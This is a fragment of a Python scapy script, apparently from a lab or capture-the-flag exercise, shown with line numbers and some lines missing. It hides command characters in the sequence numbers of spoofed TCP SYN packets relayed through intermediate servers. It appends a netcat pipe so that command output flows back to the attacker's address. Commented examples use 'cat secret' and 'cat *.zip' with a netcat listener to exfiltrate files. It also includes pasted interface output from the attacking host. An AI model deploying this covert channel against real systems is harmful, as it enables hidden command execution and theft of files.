3 # disable IPv6 error message
5 logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
6 from scapy.all import *
7 logging.getLogger("scapy.runtime").setLevel(logging.WARN)
9 #send(IP(dst='127.0.0.1')/TCP(sport=1337))
12 src = '192.168.67.115'
13 # our intermediate syn-servers
14 dst = ['192.168.67.200', '192.168.67.210', '192.168.67.220']
18 self = '192.168.67.26'
21 def sendchar(dst, char):
23 ip=IP(src=src,dst=dst)
24 SYN=TCP(sport=sport,dport=dport,flags='S',seq=ord(char)-1)
28 cmd += "|nc "+self+" "+port+"\r"
30 chunklist = [ cmd[i:i+chunksize] for i in range(0, len(cmd), chunksize) ]
31 for chunkid, chunk in enumerate(chunklist):
32 curdst = chunkid % len(dst)
34 sendchar(dst[curdst], char)
38 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
39 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
40 inet 127.0.0.1/8 scope host lo
41 valid_lft forever preferred_lft forever
42 inet6 ::1/128 scope host
43 valid_lft forever preferred_lft forever
44 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
45 link/ether 08:00:27:27:2b:f0 brd ff:ff:ff:ff:ff:ff
46 inet 192.168.67.115/24 brd 192.168.67.255 scope global eth0
47 valid_lft forever preferred_lft forever
48 inet6 fe80::a00:27ff:fe27:2bf0/64 scope link
49 valid_lft forever preferred_lft forever
59 New Text Documnet.txt.zip
63 #run("cat secret") # copy file with 'nc -l 1234 > secret'
64 #run("cat *.zip") # copy file with 'nc -l 1234 > New\ Text\ Documnet.txt.zip'